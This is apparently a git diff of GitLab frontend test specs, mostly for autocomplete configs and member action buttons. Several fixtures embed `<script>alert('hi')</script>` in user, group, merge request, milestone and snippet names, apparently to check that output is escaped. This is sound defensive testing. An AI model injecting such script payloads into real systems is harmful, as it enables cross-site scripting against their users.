+ const fullText = '~';
+ const selectionStart = 1;
+
+ expect(labelsFilter({ collection, fullText, selectionStart })).toEqual(collection);
+ });
+ });
+ });
+
+ describe('/unlabel quick action', () => {
+ describe('when the line starts with `/unlabel`', () => {
+ it('shows labels that are currently selected', () => {
+ const fullText = '/unlabel ~';
+ const selectionStart = 10;
+
+ expect(labelsFilter({ collection, fullText, selectionStart })).toEqual([collection[2]]);
+ });
+ });
+
+ describe('when the line does not start with `/unlabel`', () => {
+ it('shows all labels', () => {
+ const fullText = '~';
+ const selectionStart = 1;
+
+ expect(labelsFilter({ collection, fullText, selectionStart })).toEqual(collection);
+ });
+ });
+ });
+ });
+ });
+
+ describe('members config', () => {
+ const membersConfig = tributeConfig[GfmAutocompleteType.Members].config;
+ const membersFilter = tributeConfig[GfmAutocompleteType.Members].filterValues;
+ const userMember = {
+ type: 'User',
+ username: 'myusername',
+ name: "My Name <script>alert('hi')</script>",
+ avatar_url: '/uploads/-/system/user/avatar/123456/avatar.png',
+ availability: null,
+ };
+ const groupMember = {
+ type: 'Group',
+ username: 'gitlab-com/support/1-1s',
+ name: "GitLab.com / GitLab Support Team / 1-1s <script>alert('hi')</script>",
+ avatar_url: null,
+ count: 2,
+ mentionsDisabled: null,
+ };
+
+ it('uses @ as the trigger', () => {
+ expect(membersConfig.trigger).toBe('@');
+ });
+
+ it('inserts the username on autocomplete selection', () => {
+ expect(membersConfig.fillAttr).toBe('username');
+ });
+
+ it('searches using both the name and username for a user', () => {
+ expect(membersConfig.lookup(userMember)).toBe(`${userMember.name}${userMember.username}`);
+ });
+
+ it('searches using only its own name and not its ancestors for a group', () => {
+ expect(membersConfig.lookup(groupMember)).toBe(last(groupMember.name.split(' / ')));
+ });
+
+ it('shows the avatar, name and username in the menu item for a user', () => {
+ expect(membersConfig.menuItemTemplate({ original: userMember })).toMatchSnapshot();
+ });
+
+ it('shows an avatar character, name, parent name, and count in the menu item for a group', () => {
+ expect(membersConfig.menuItemTemplate({ original: groupMember })).toMatchSnapshot();
+ });
+
+ describe('filter', () => {
+ const assignees = [userMember.username];
+ const collection = [userMember, groupMember];
+
+ describe('/assign quick action', () => {
+ describe('when the line starts with `/assign`', () => {
+ it('shows members that are not currently selected', () => {
+ const fullText = '/assign @';
+ const selectionStart = 9;
+
+ expect(membersFilter({ assignees, collection, fullText, selectionStart })).toEqual([
+ collection[1],
+ ]);
+ });
+ });
+
+ describe('when the line does not start with `/assign`', () => {
+ it('shows all labels', () => {
+ const fullText = '@';
+ const selectionStart = 1;
+
+ expect(membersFilter({ assignees, collection, fullText, selectionStart })).toEqual(
+ collection,
+ );
+ });
+ });
+ });
+
+ describe('/unassign quick action', () => {
+ describe('when the line starts with `/unassign`', () => {
+ it('shows members that are currently selected', () => {
+ const fullText = '/unassign @';
+ const selectionStart = 11;
+
+ expect(membersFilter({ assignees, collection, fullText, selectionStart })).toEqual([
+ collection[0],
+ ]);
+ });
+ });
+
+ describe('when the line does not start with `/unassign`', () => {
+ it('shows all members', () => {
+ const fullText = '@';
+ const selectionStart = 1;
+
+ expect(membersFilter({ assignees, collection, fullText, selectionStart })).toEqual(
+ collection,
+ );
+ });
+ });
+ });
+ });
+ });
+
+ describe('merge requests config', () => {
+ const mergeRequestsConfig = tributeConfig[GfmAutocompleteType.MergeRequests].config;
+ const groupContextMergeRequest = {
+ iid: 456789,
+ reference: 'gitlab!456789',
+ title: "Group context merge request title <script>alert('hi')</script>",
+ };
+ const projectContextMergeRequest = {
+ id: null,
+ iid: 123456,
+ time_estimate: 0,
+ title: "Project context merge request title <script>alert('hi')</script>",
+ };
+
+ it('uses ! as the trigger', () => {
+ expect(mergeRequestsConfig.trigger).toBe('!');
+ });
+
+ it('searches using both the iid and title', () => {
+ expect(mergeRequestsConfig.lookup(projectContextMergeRequest)).toBe(
+ `${projectContextMergeRequest.iid}${projectContextMergeRequest.title}`,
+ );
+ });
+
+ it('shows the reference and title in the menu item within a group context', () => {
+ expect(
+ mergeRequestsConfig.menuItemTemplate({ original: groupContextMergeRequest }),
+ ).toMatchSnapshot();
+ });
+
+ it('shows the iid and title in the menu item within a project context', () => {
+ expect(
+ mergeRequestsConfig.menuItemTemplate({ original: projectContextMergeRequest }),
+ ).toMatchSnapshot();
+ });
+
+ it('inserts the reference on autocomplete selection within a group context', () => {
+ expect(mergeRequestsConfig.selectTemplate({ original: groupContextMergeRequest })).toBe(
+ groupContextMergeRequest.reference,
+ );
+ });
+
+ it('inserts the iid on autocomplete selection within a project context', () => {
+ expect(mergeRequestsConfig.selectTemplate({ original: projectContextMergeRequest })).toBe(
+ `!${projectContextMergeRequest.iid}`,
+ );
+ });
+ });
+
+ describe('milestones config', () => {
+ const milestonesConfig = tributeConfig[GfmAutocompleteType.Milestones].config;
+ const milestone = {
+ id: null,
+ iid: 49,
+ title: "13.2 <script>alert('hi')</script>",
+ };
+
+ it('uses % as the trigger', () => {
+ expect(milestonesConfig.trigger).toBe('%');
+ });
+
+ it('searches using the title', () => {
+ expect(milestonesConfig.lookup).toBe('title');
+ });
+
+ it('shows the title in the menu item', () => {
+ expect(milestonesConfig.menuItemTemplate({ original: milestone })).toMatchSnapshot();
+ });
+
+ it('inserts the title on autocomplete selection', () => {
+ expect(milestonesConfig.selectTemplate({ original: milestone })).toBe(
+ `%"${escape(milestone.title)}"`,
+ );
+ });
+ });
+
+ describe('snippets config', () => {
+ const snippetsConfig = tributeConfig[GfmAutocompleteType.Snippets].config;
+ const snippet = {
+ id: 123456,
+ title: "Snippet title <script>alert('hi')</script>",
+ };
+
+ it('uses $ as the trigger', () => {
+ expect(snippetsConfig.trigger).toBe('$');
+ });
+
+ it('inserts the id on autocomplete selection', () => {
+ expect(snippetsConfig.fillAttr).toBe('id');
+ });
+
+ it('searches using both the id and title', () => {
+ expect(snippetsConfig.lookup(snippet)).toBe(`${snippet.id}${snippet.title}`);
+ });
+
+ it('shows the id and title in the menu item', () => {
+ expect(snippetsConfig.menuItemTemplate({ original: snippet })).toMatchSnapshot();
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/gl_mentions_spec.js b/spec/frontend/vue_shared/components/gl_mentions_spec.js
deleted file mode 100644
index 32fc055a77d..00000000000
--- a/spec/frontend/vue_shared/components/gl_mentions_spec.js
+++ /dev/null
@@ -1,34 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import Tribute from 'tributejs';
-import GlMentions from '~/vue_shared/components/gl_mentions.vue';
-
-describe('GlMentions', () => {
- let wrapper;
-
- describe('Tribute', () => {
- const mentions = '/gitlab-org/gitlab-test/-/autocomplete_sources/members?type=Issue&type_id=1';
-
- beforeEach(() => {
- wrapper = shallowMount(GlMentions, {
- propsData: {
- dataSources: {
- mentions,
- },
- },
- slots: {
- default: ['<input/>'],
- },
- });
- });
-
- it('is set to tribute instance variable', () => {
- expect(wrapper.vm.tribute instanceof Tribute).toBe(true);
- });
-
- it('contains the slot input element', () => {
- wrapper.find('input').setValue('@');
-
- expect(wrapper.vm.tribute.current.element).toBe(wrapper.find('input').element);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js b/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js
index c87d19df1f7..d1bfc180082 100644
--- a/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js
+++ b/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js
@@ -33,28 +33,31 @@ describe('IssueMilestoneComponent', () => {
describe('computed', () => {
describe('isMilestoneStarted', () => {
- it('should return `false` when milestoneStart prop is not defined', () => {
+ it('should return `false` when milestoneStart prop is not defined', async () => {
wrapper.setProps({
milestone: { ...mockMilestone, start_date: '' },
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.isMilestoneStarted).toBe(false);
});
- it('should return `true` when milestone start date is past current date', () => {
- wrapper.setProps({
+ it('should return `true` when milestone start date is past current date', async () => {
+ await wrapper.setProps({
milestone: { ...mockMilestone, start_date: '1990-07-22' },
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.isMilestoneStarted).toBe(true);
});
});
describe('isMilestonePastDue', () => {
- it('should return `false` when milestoneDue prop is not defined', () => {
+ it('should return `false` when milestoneDue prop is not defined', async () => {
wrapper.setProps({
milestone: { ...mockMilestone, due_date: '' },
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.isMilestonePastDue).toBe(false);
});
@@ -73,41 +76,45 @@ describe('IssueMilestoneComponent', () => {
expect(vm.milestoneDatesAbsolute).toBe('(December 31, 2019)');
});
- it('returns string containing absolute milestone start date when due date is not present', () => {
+ it('returns string containing absolute milestone start date when due date is not present', async () => {
wrapper.setProps({
milestone: { ...mockMilestone, due_date: '' },
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.milestoneDatesAbsolute).toBe('(January 1, 2018)');
});
- it('returns empty string when both milestone start and due dates are not present', () => {
+ it('returns empty string when both milestone start and due dates are not present', async () => {
wrapper.setProps({
milestone: { ...mockMilestone, start_date: '', due_date: '' },
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.milestoneDatesAbsolute).toBe('');
});
});
describe('milestoneDatesHuman', () => {
- it('returns string containing milestone due date when date is yet to be due', () => {
+ it('returns string containing milestone due date when date is yet to be due', async () => {
wrapper.setProps({
milestone: { ...mockMilestone, due_date: `${new Date().getFullYear() + 10}-01-01` },
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.milestoneDatesHuman).toContain('years remaining');
});
- it('returns string containing milestone start date when date has already started and due date is not present', () => {
+ it('returns string containing milestone start date when date has already started and due date is not present', async () => {
wrapper.setProps({
milestone: { ...mockMilestone, start_date: '1990-07-22', due_date: '' },
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.milestoneDatesHuman).toContain('Started');
});
- it('returns string containing milestone start date when date is yet to start and due date is not present', () => {
+ it('returns string containing milestone start date when date is yet to start and due date is not present', async () => {
wrapper.setProps({
milestone: {
...mockMilestone,
@@ -115,14 +122,16 @@ describe('IssueMilestoneComponent', () => {
due_date: '',
},
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.milestoneDatesHuman).toContain('Starts');
});
- it('returns empty string when milestone start and due dates are not present', () => {
+ it('returns empty string when milestone start and due dates are not present', async () => {
wrapper.setProps({
milestone: { ...mockMilestone, start_date: '', due_date: '' },
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.milestoneDatesHuman).toBe('');
});
diff --git a/spec/frontend/vue_shared/components/loading_button_spec.js b/spec/frontend/vue_shared/components/loading_button_spec.js
deleted file mode 100644
index 8bcb80d140e..00000000000
--- a/spec/frontend/vue_shared/components/loading_button_spec.js
+++ /dev/null
@@ -1,100 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
-
-const LABEL = 'Hello';
-
-describe('LoadingButton', () => {
- let wrapper;
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const buildWrapper = (propsData = {}) => {
- wrapper = shallowMount(LoadingButton, {
- propsData,
- });
- };
- const findButtonLabel = () => wrapper.find('.js-loading-button-label');
- const findButtonIcon = () => wrapper.find('.js-loading-button-icon');
-
- describe('loading spinner', () => {
- it('shown when loading', () => {
- buildWrapper({ loading: true });
-
- expect(findButtonIcon().exists()).toBe(true);
- });
- });
-
- describe('disabled state', () => {
- it('disabled when loading', () => {
- buildWrapper({ loading: true });
- expect(wrapper.attributes('disabled')).toBe('disabled');
- });
-
- it('not disabled when normal', () => {
- buildWrapper({ loading: false });
-
- expect(wrapper.attributes('disabled')).toBe(undefined);
- });
- });
-
- describe('label', () => {
- it('shown when normal', () => {
- buildWrapper({ loading: false, label: LABEL });
- expect(findButtonLabel().text()).toBe(LABEL);
- });
-
- it('shown when loading', () => {
- buildWrapper({ loading: false, label: LABEL });
- expect(findButtonLabel().text()).toBe(LABEL);
- });
- });
-
- describe('container class', () => {
- it('should default to btn btn-align-content', () => {
- buildWrapper();
-
- expect(wrapper.classes()).toContain('btn');
- expect(wrapper.classes()).toContain('btn-align-content');
- });
-
- it('should be configurable through props', () => {
- const containerClass = 'test-class';
-
- buildWrapper({
- containerClass,
- });
-
- expect(wrapper.classes()).not.toContain('btn');
- expect(wrapper.classes()).not.toContain('btn-align-content');
- expect(wrapper.classes()).toContain(containerClass);
- });
- });
-
- describe('click callback prop', () => {
- it('calls given callback when normal', () => {
- buildWrapper({
- loading: false,
- });
-
- wrapper.trigger('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('click')).toBeTruthy();
- });
- });
-
- it('does not call given callback when disabled because of loading', () => {
- buildWrapper({
- loading: true,
- });
-
- wrapper.trigger('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('click')).toBeFalsy();
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/markdown/apply_suggestion_spec.js b/spec/frontend/vue_shared/components/markdown/apply_suggestion_spec.js
new file mode 100644
index 00000000000..0598506891b
--- /dev/null
+++ b/spec/frontend/vue_shared/components/markdown/apply_suggestion_spec.js
@@ -0,0 +1,72 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlDropdown, GlFormTextarea, GlButton } from '@gitlab/ui';
+import ApplySuggestionComponent from '~/vue_shared/components/markdown/apply_suggestion.vue';
+
+describe('Apply Suggestion component', () => {
+ const propsData = { fileName: 'test.js', disabled: false };
+ let wrapper;
+
+ const createWrapper = props => {
+ wrapper = shallowMount(ApplySuggestionComponent, { propsData: { ...propsData, ...props } });
+ };
+
+ const findDropdown = () => wrapper.find(GlDropdown);
+ const findTextArea = () => wrapper.find(GlFormTextarea);
+ const findApplyButton = () => wrapper.find(GlButton);
+
+ beforeEach(() => createWrapper());
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('initial template', () => {
+ it('renders a dropdown with the correct props', () => {
+ const dropdown = findDropdown();
+
+ expect(dropdown.exists()).toBe(true);
+ expect(dropdown.props('text')).toBe('Apply suggestion');
+ expect(dropdown.props('headerText')).toBe('Apply suggestion commit message');
+ expect(dropdown.props('disabled')).toBe(false);
+ });
+
+ it('renders a textarea with the correct props', () => {
+ const textArea = findTextArea();
+
+ expect(textArea.exists()).toBe(true);
+ expect(textArea.attributes('placeholder')).toBe('Apply suggestion on test.js');
+ });
+
+ it('renders an apply button', () => {
+ const applyButton = findApplyButton();
+
+ expect(applyButton.exists()).toBe(true);
+ expect(applyButton.text()).toBe('Apply');
+ });
+ });
+
+ describe('disabled', () => {
+ it('disables the dropdown', () => {
+ createWrapper({ disabled: true });
+
+ expect(findDropdown().props('disabled')).toBe(true);
+ });
+ });
+
+ describe('apply suggestion', () => {
+ it('emits an apply event with a default message if no message was added', () => {
+ findTextArea().vm.$emit('input', null);
+ findApplyButton().vm.$emit('click');
+
+ expect(wrapper.emitted('apply')).toEqual([['Apply suggestion on test.js']]);
+ });
+
+ it('emits an apply event with a user-defined message', () => {
+ findTextArea().vm.$emit('input', 'some text');
+ findApplyButton().vm.$emit('click');
+
+ expect(wrapper.emitted('apply')).toEqual([['some text']]);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/members/action_buttons/access_request_action_buttons_spec.js b/spec/frontend/vue_shared/components/members/action_buttons/access_request_action_buttons_spec.js
deleted file mode 100644
index 58cb8ef61d1..00000000000
--- a/spec/frontend/vue_shared/components/members/action_buttons/access_request_action_buttons_spec.js
+++ /dev/null
@@ -1,108 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import AccessRequestActionButtons from '~/vue_shared/components/members/action_buttons/access_request_action_buttons.vue';
-import RemoveMemberButton from '~/vue_shared/components/members/action_buttons/remove_member_button.vue';
-import ApproveAccessRequestButton from '~/vue_shared/components/members/action_buttons/approve_access_request_button.vue';
-import { accessRequest as member } from '../mock_data';
-
-describe('AccessRequestActionButtons', () => {
- let wrapper;
-
- const createComponent = (propsData = {}) => {
- wrapper = shallowMount(AccessRequestActionButtons, {
- propsData: {
- member,
- isCurrentUser: true,
- ...propsData,
- },
- });
- };
-
- const findRemoveMemberButton = () => wrapper.find(RemoveMemberButton);
- const findApproveButton = () => wrapper.find(ApproveAccessRequestButton);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when user has `canRemove` permissions', () => {
- beforeEach(() => {
- createComponent({
- permissions: {
- canRemove: true,
- },
- });
- });
-
- it('renders remove member button', () => {
- expect(findRemoveMemberButton().exists()).toBe(true);
- });
-
- it('sets props correctly', () => {
- expect(findRemoveMemberButton().props()).toMatchObject({
- memberId: member.id,
- title: 'Deny access',
- isAccessRequest: true,
- icon: 'close',
- });
- });
-
- describe('when member is the current user', () => {
- it('sets `message` prop correctly', () => {
- expect(findRemoveMemberButton().props('message')).toBe(
- `Are you sure you want to withdraw your access request for "${member.source.name}"`,
- );
- });
- });
-
- describe('when member is not the current user', () => {
- it('sets `message` prop correctly', () => {
- createComponent({
- isCurrentUser: false,
- permissions: {
- canRemove: true,
- },
- });
-
- expect(findRemoveMemberButton().props('message')).toBe(
- `Are you sure you want to deny ${member.user.name}'s request to join "${member.source.name}"`,
- );
- });
- });
- });
-
- describe('when user does not have `canRemove` permissions', () => {
- it('does not render remove member button', () => {
- createComponent({
- permissions: {
- canRemove: false,
- },
- });
-
- expect(findRemoveMemberButton().exists()).toBe(false);
- });
- });
-
- describe('when user has `canUpdate` permissions', () => {
- it('renders the approve button', () => {
- createComponent({
- permissions: {
- canUpdate: true,
- },
- });
-
- expect(findApproveButton().exists()).toBe(true);
- });
- });
-
- describe('when user does not have `canUpdate` permissions', () => {
- it('does not render the approve button', () => {
- createComponent({
- permissions: {
- canUpdate: false,
- },
- });
-
- expect(findApproveButton().exists()).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/action_buttons/approve_access_request_button_spec.js b/spec/frontend/vue_shared/components/members/action_buttons/approve_access_request_button_spec.js
deleted file mode 100644
index 93edaaa400d..00000000000
--- a/spec/frontend/vue_shared/components/members/action_buttons/approve_access_request_button_spec.js
+++ /dev/null
@@ -1,74 +0,0 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { GlButton, GlForm } from '@gitlab/ui';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import ApproveAccessRequestButton from '~/vue_shared/components/members/action_buttons/approve_access_request_button.vue';
-
-jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('ApproveAccessRequestButton', () => {
- let wrapper;
-
- const createStore = (state = {}) => {
- return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_members/:id',
- ...state,
- },
- });
- };
-
- const createComponent = (propsData = {}, state) => {
- wrapper = shallowMount(ApproveAccessRequestButton, {
- localVue,
- store: createStore(state),
- propsData: {
- memberId: 1,
- ...propsData,
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- const findForm = () => wrapper.find(GlForm);
- const findButton = () => findForm().find(GlButton);
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('displays a tooltip', () => {
- const button = findButton();
-
- expect(getBinding(button.element, 'gl-tooltip')).not.toBeUndefined();
- expect(button.attributes('title')).toBe('Grant access');
- });
-
- it('sets `aria-label` attribute', () => {
- expect(findButton().attributes('aria-label')).toBe('Grant access');
- });
-
- it('submits the form when button is clicked', () => {
- expect(findButton().attributes('type')).toBe('submit');
- });
-
- it('displays form with correct action and inputs', () => {
- const form = findForm();
-
- expect(form.attributes('action')).toBe(
- '/groups/foo-bar/-/group_members/1/approve_access_request',
- );
- expect(form.find('input[name="authenticity_token"]').attributes('value')).toBe(
- 'mock-csrf-token',
- );
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/action_buttons/invite_action_buttons_spec.js b/spec/frontend/vue_shared/components/members/action_buttons/invite_action_buttons_spec.js
deleted file mode 100644
index 1374cdc6aef..00000000000
--- a/spec/frontend/vue_shared/components/members/action_buttons/invite_action_buttons_spec.js
+++ /dev/null
@@ -1,85 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import InviteActionButtons from '~/vue_shared/components/members/action_buttons/invite_action_buttons.vue';
-import RemoveMemberButton from '~/vue_shared/components/members/action_buttons/remove_member_button.vue';
-import ResendInviteButton from '~/vue_shared/components/members/action_buttons/resend_invite_button.vue';
-import { invite as member } from '../mock_data';
-
-describe('InviteActionButtons', () => {
- let wrapper;
-
- const createComponent = (propsData = {}) => {
- wrapper = shallowMount(InviteActionButtons, {
- propsData: {
- member,
- ...propsData,
- },
- });
- };
-
- const findRemoveMemberButton = () => wrapper.find(RemoveMemberButton);
- const findResendInviteButton = () => wrapper.find(ResendInviteButton);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when user has `canRemove` permissions', () => {
- beforeEach(() => {
- createComponent({
- permissions: {
- canRemove: true,
- },
- });
- });
-
- it('renders remove member button', () => {
- expect(findRemoveMemberButton().exists()).toBe(true);
- });
-
- it('sets props correctly', () => {
- expect(findRemoveMemberButton().props()).toEqual({
- memberId: member.id,
- message: `Are you sure you want to revoke the invitation for ${member.invite.email} to join "${member.source.name}"`,
- title: 'Revoke invite',
- isAccessRequest: false,
- icon: 'remove',
- });
- });
- });
-
- describe('when user does not have `canRemove` permissions', () => {
- it('does not render remove member button', () => {
- createComponent({
- permissions: {
- canRemove: false,
- },
- });
-
- expect(findRemoveMemberButton().exists()).toBe(false);
- });
- });
-
- describe('when user has `canResend` permissions', () => {
- it('renders resend invite button', () => {
- createComponent({
- permissions: {
- canResend: true,
- },
- });
-
- expect(findResendInviteButton().exists()).toBe(true);
- });
- });
-
- describe('when user does not have `canResend` permissions', () => {
- it('does not render resend invite button', () => {
- createComponent({
- permissions: {
- canResend: false,
- },
- });
-
- expect(findResendInviteButton().exists()).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/action_buttons/leave_button_spec.js b/spec/frontend/vue_shared/components/members/action_buttons/leave_button_spec.js
deleted file mode 100644
index 00896b23b95..00000000000
--- a/spec/frontend/vue_shared/components/members/action_buttons/leave_button_spec.js
+++ /dev/null
@@ -1,59 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlButton } from '@gitlab/ui';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import LeaveButton from '~/vue_shared/components/members/action_buttons/leave_button.vue';
-import LeaveModal from '~/vue_shared/components/members/modals/leave_modal.vue';
-import { LEAVE_MODAL_ID } from '~/vue_shared/components/members/constants';
-import { member } from '../mock_data';
-
-describe('LeaveButton', () => {
- let wrapper;
-
- const createComponent = (propsData = {}) => {
- wrapper = shallowMount(LeaveButton, {
- propsData: {
- member,
- ...propsData,
- },
- directives: {
- GlTooltip: createMockDirective(),
- GlModal: createMockDirective(),
- },
- });
- };
-
- const findButton = () => wrapper.find(GlButton);
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('displays a tooltip', () => {
- const button = findButton();
-
- expect(getBinding(button.element, 'gl-tooltip')).not.toBeUndefined();
- expect(button.attributes('title')).toBe('Leave');
- });
-
- it('sets `aria-label` attribute', () => {
- expect(findButton().attributes('aria-label')).toBe('Leave');
- });
-
- it('renders leave modal', () => {
- const leaveModal = wrapper.find(LeaveModal);
-
- expect(leaveModal.exists()).toBe(true);
- expect(leaveModal.props('member')).toEqual(member);
- });
-
- it('triggers leave modal', () => {
- const binding = getBinding(findButton().element, 'gl-modal');
-
- expect(binding).not.toBeUndefined();
- expect(binding.value).toBe(LEAVE_MODAL_ID);
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/action_buttons/remove_group_link_button_spec.js b/spec/frontend/vue_shared/components/members/action_buttons/remove_group_link_button_spec.js
deleted file mode 100644
index 84fe1c51773..00000000000
--- a/spec/frontend/vue_shared/components/members/action_buttons/remove_group_link_button_spec.js
+++ /dev/null
@@ -1,64 +0,0 @@
-import { mount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { GlButton } from '@gitlab/ui';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import RemoveGroupLinkButton from '~/vue_shared/components/members/action_buttons/remove_group_link_button.vue';
-import { group } from '../mock_data';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('RemoveGroupLinkButton', () => {
- let wrapper;
-
- const actions = {
- showRemoveGroupLinkModal: jest.fn(),
- };
-
- const createStore = () => {
- return new Vuex.Store({
- actions,
- });
- };
-
- const createComponent = () => {
- wrapper = mount(RemoveGroupLinkButton, {
- localVue,
- store: createStore(),
- propsData: {
- groupLink: group,
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- const findButton = () => wrapper.find(GlButton);
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('displays a tooltip', () => {
- const button = findButton();
-
- expect(getBinding(button.element, 'gl-tooltip')).not.toBeUndefined();
- expect(button.attributes('title')).toBe('Remove group');
- });
-
- it('sets `aria-label` attribute', () => {
- expect(findButton().attributes('aria-label')).toBe('Remove group');
- });
-
- it('calls Vuex action to open remove group link modal when clicked', () => {
- findButton().trigger('click');
-
- expect(actions.showRemoveGroupLinkModal).toHaveBeenCalledWith(expect.any(Object), group);
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/action_buttons/remove_member_button_spec.js b/spec/frontend/vue_shared/components/members/action_buttons/remove_member_button_spec.js
deleted file mode 100644
index 7aa30494234..00000000000
--- a/spec/frontend/vue_shared/components/members/action_buttons/remove_member_button_spec.js
+++ /dev/null
@@ -1,66 +0,0 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import RemoveMemberButton from '~/vue_shared/components/members/action_buttons/remove_member_button.vue';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('RemoveMemberButton', () => {
- let wrapper;
-
- const createStore = (state = {}) => {
- return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_members/:id',
- ...state,
- },
- });
- };
-
- const createComponent = (propsData = {}, state) => {
- wrapper = shallowMount(RemoveMemberButton, {
- localVue,
- store: createStore(state),
- propsData: {
- memberId: 1,
- message: 'Are you sure you want to remove John Smith?',
- title: 'Remove member',
- isAccessRequest: true,
- ...propsData,
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('sets attributes on button', () => {
- createComponent();
-
- expect(wrapper.attributes()).toMatchObject({
- 'data-member-path': '/groups/foo-bar/-/group_members/1',
- 'data-message': 'Are you sure you want to remove John Smith?',
- 'data-is-access-request': 'true',
- 'aria-label': 'Remove member',
- title: 'Remove member',
- icon: 'remove',
- });
- });
-
- it('displays `title` prop as a tooltip', () => {
- createComponent();
-
- expect(getBinding(wrapper.element, 'gl-tooltip')).not.toBeUndefined();
- });
-
- it('has CSS class used by `remove_member_modal.vue`', () => {
- createComponent();
-
- expect(wrapper.classes()).toContain('js-remove-member-button');
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/action_buttons/resend_invite_button_spec.js b/spec/frontend/vue_shared/components/members/action_buttons/resend_invite_button_spec.js
deleted file mode 100644
index 859fdd01043..00000000000
--- a/spec/frontend/vue_shared/components/members/action_buttons/resend_invite_button_spec.js
+++ /dev/null
@@ -1,66 +0,0 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { GlButton } from '@gitlab/ui';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import ResendInviteButton from '~/vue_shared/components/members/action_buttons/resend_invite_button.vue';
-
-jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('ResendInviteButton', () => {
- let wrapper;
-
- const createStore = (state = {}) => {
- return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_members/:id',
- ...state,
- },
- });
- };
-
- const createComponent = (propsData = {}, state) => {
- wrapper = shallowMount(ResendInviteButton, {
- localVue,
- store: createStore(state),
- propsData: {
- memberId: 1,
- ...propsData,
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- const findForm = () => wrapper.find('form');
- const findButton = () => findForm().find(GlButton);
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('displays a tooltip', () => {
- expect(getBinding(findButton().element, 'gl-tooltip')).not.toBeUndefined();
- expect(findButton().attributes('title')).toBe('Resend invite');
- });
-
- it('submits the form when button is clicked', () => {
- expect(findButton().attributes('type')).toBe('submit');
- });
-
- it('displays form with correct action and inputs', () => {
- expect(findForm().attributes('action')).toBe('/groups/foo-bar/-/group_members/1/resend_invite');
- expect(
- findForm()
- .find('input[name="authenticity_token"]')
- .attributes('value'),
- ).toBe('mock-csrf-token');
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/action_buttons/user_action_buttons_spec.js b/spec/frontend/vue_shared/components/members/action_buttons/user_action_buttons_spec.js
deleted file mode 100644
index f766ad5b0d1..00000000000
--- a/spec/frontend/vue_shared/components/members/action_buttons/user_action_buttons_spec.js
+++ /dev/null
@@ -1,89 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import UserActionButtons from '~/vue_shared/components/members/action_buttons/user_action_buttons.vue';
-import RemoveMemberButton from '~/vue_shared/components/members/action_buttons/remove_member_button.vue';
-import LeaveButton from '~/vue_shared/components/members/action_buttons/leave_button.vue';
-import { member, orphanedMember } from '../mock_data';
-
